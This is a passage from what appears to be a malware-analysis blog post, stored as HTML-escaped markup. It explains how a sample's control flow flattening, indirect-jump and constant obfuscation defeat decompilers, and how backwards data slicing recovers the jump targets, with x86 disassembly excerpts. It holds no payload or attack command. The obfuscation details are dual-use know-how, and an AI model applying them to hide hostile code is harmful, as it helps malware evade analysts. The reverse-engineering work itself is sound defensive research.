While control flow flattening alone is already annoying, at least you can decompile the code and see &lt;em&gt;something&lt;/em&gt;.
With the jump obfuscation on top of it, disassemblers and decompilers will only see a bunch of apparently unrelated blocks - no children, no parents.
This obviously completely breaks decompilation and any control flow graph analysis.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Unrelated to the above, another pattern that occurs somewhat frequently in the code is this:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;sub_40F830&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AE7C&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0C4D77A40h&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The function result &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eax&lt;/code&gt; is compared against a value in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ecx&lt;/code&gt;, which is again obtained using a memory load and an addition.
This is essentially constant obfuscation, which has been applied to all constants in the program (except for ones belonging to the obfuscator itself, such as the control flow state variable).&lt;/p&gt;

&lt;p&gt;The memory load presents an additional twist: if the initial &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov ecx&lt;/code&gt; had simply been another constant like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;edx&lt;/code&gt;, decompilers would automatically fold the addition as part of their built-in optimizations.
But with the load, they typically won’t do so even if the referenced memory were to be marked read-only.&lt;/p&gt;

&lt;h1 id=&quot;deobfuscation&quot;&gt;Deobfuscation&lt;/h1&gt;

&lt;p&gt;An important first insight is that the obfuscation works on a per-function level.
Blocks belonging to one function are always contained in the function bounds; there’s no crazy jumping across the whole program.
You may be wondering how one is supposed to determine the function bounds - after all, we don’t have a coherent control flow graph.
Luckily, this one is simple: Functions touched by the obfuscator only have a single exit point.
They always have a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; at their very end.&lt;/p&gt;

&lt;p&gt;Any deobfuscation attempt should thus also focus on one function at a time.&lt;/p&gt;

&lt;h2 id=&quot;first-failed-attempt&quot;&gt;First (failed) attempt&lt;/h2&gt;

&lt;p&gt;While browsing through the code in order to come to a decision on how to deal with it, I stumbled upon cases like this:&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BECC&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; ---------------------------------------------------&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BECC&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;40h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BED0&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0BB2D365h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BED6&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BED8&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B8A4&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEDE&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmovl&lt;/span&gt;   &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEE1&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEE3&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEE5&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As can be seen, the jump target depends on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmovl&lt;/code&gt;, which will be either &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;edx&lt;/code&gt; (via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eax&lt;/code&gt;) or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;edi&lt;/code&gt;.
But what’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;edx&lt;/code&gt;? It’s not set in this block, and the block doesn’t have any direct parents.&lt;/p&gt;

&lt;p&gt;In the general case, one would have to assume &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;edx&lt;/code&gt; can be arbitrarily set in one of the (unknown) parent blocks.
For this reason, I chose to try symbolic execution.
This technique can simulate everything from the beginning of the function, meaning we should always have &lt;em&gt;some&lt;/em&gt; sort of value for the registers (they may be symbolic, but for those obfuscator pointers like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;edx&lt;/code&gt;, I would expect integers).&lt;/p&gt;

&lt;p&gt;However, after trying both Triton and angr, I figured that symbolic execution is not suitable here, at least not in the fashion I intended.
Due to the size of some of the functions in the malware, path explosion becomes a real problem.
While the symbolic exploration is working in principle and gives us correct destinations for each indirect jump, it simply doesn’t finish in any acceptable timeframe.&lt;/p&gt;

&lt;p&gt;With the insight gained during the symbolic execution attempts and some further manual exploring, it turned out I needn’t have worried about cases such as with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;edx&lt;/code&gt; register above.
For this obfuscation scheme, if a register is used in a block and has &lt;em&gt;not&lt;/em&gt; been assigned in said block or a discernible parent, it will always have the value that was assigned to it in the function prologue block.
In order to handle such situations, it’s thus enough to create a lookup with all constant register assignments that happen in the prologue block.&lt;/p&gt;

&lt;h2 id=&quot;static-deobfuscation&quot;&gt;Static deobfuscation&lt;/h2&gt;

&lt;p&gt;Seeing the snippet from the initial section, you may be tempted to say “just define regexes for the 3-4 different patterns &amp;amp; be done with it”.
Unfortunately, it’s not that simple.
The obfuscation was most likely implemented as a compilation pass (possibly in LLVM), and the compiler has quite a bit of leeway in how it actually arranges and emits the obfuscated code.&lt;/p&gt;

&lt;p&gt;You will encounter all of these situations and more:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Instructions can be scheduled however the compiler pleases; you can have completely unrelated (legit) instructions right before &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp eax&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp&lt;/code&gt; register is not always &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eax&lt;/code&gt;, it differs per function.&lt;/li&gt;
  &lt;li&gt;The compiler may have had to temporarily save one of the registers involved in the obfuscation, so you’ll see save/restore pairs.
Except in some situations, the saves will be in parent blocks (thankfully, those parents will be explicit and not hidden).
&lt;br /&gt;
This can also affect the key register for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add&lt;/code&gt;, it can be temporarily aliased.&lt;/li&gt;
  &lt;li&gt;The compiler may have found it convenient to put an incoming branch edge into the middle of the pattern, e.g., towards a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov eax, [eax]&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One way to deal with all of this is to use a technique called backwards data slicing.
It collects a minimal subset of instructions that influence a given value (such as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp&lt;/code&gt; register).
This is easier to reason about, especially when there are other “noisy” instructions sprinkled into a block.
In case of incoming branches, we split the analysis and track the branch source.
For the jump obfuscation, it’s enough to do this for a depth of 1 and ignore everything incoming if we’re already on a “split path”.&lt;/p&gt;

&lt;p&gt;Here’s an example:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEE7&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B5B0&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEED&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0F6A636EFh&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEF3&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jl&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;loc_40BEFB&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEF5&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B6CC&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEFB&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEFB&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;loc_40BEFB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; CODE XREF: .text:0040BEF3↑j&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEFB&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEFD&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEFF&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;Slices:&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; common path&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;lea&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B6CC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; path &quot;jcc not taken&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;lea&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B5B0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;jl&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;loc_40BEFB&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; path &quot;jcc taken&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The branch target at 0x40BEFB causes a split into the two paths, where the register diverges.&lt;/p&gt;

&lt;p&gt;For conditional moves (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmov&lt;/code&gt;), it works slightly differently:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ADF2&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0F6A636EFh&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ADF7&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0BB2D365h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ADFD&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ADFF&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B8A4&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE05&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmovl&lt;/span&gt;   &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE08&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE0A&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE0C&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE0E&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;2Ch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE12&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;44h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE16&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE18&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;Slices:&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;lea&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B8A4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;cmovl&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; cmov did move (cc true)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;cmovl&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; cmov did not move (cc false)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

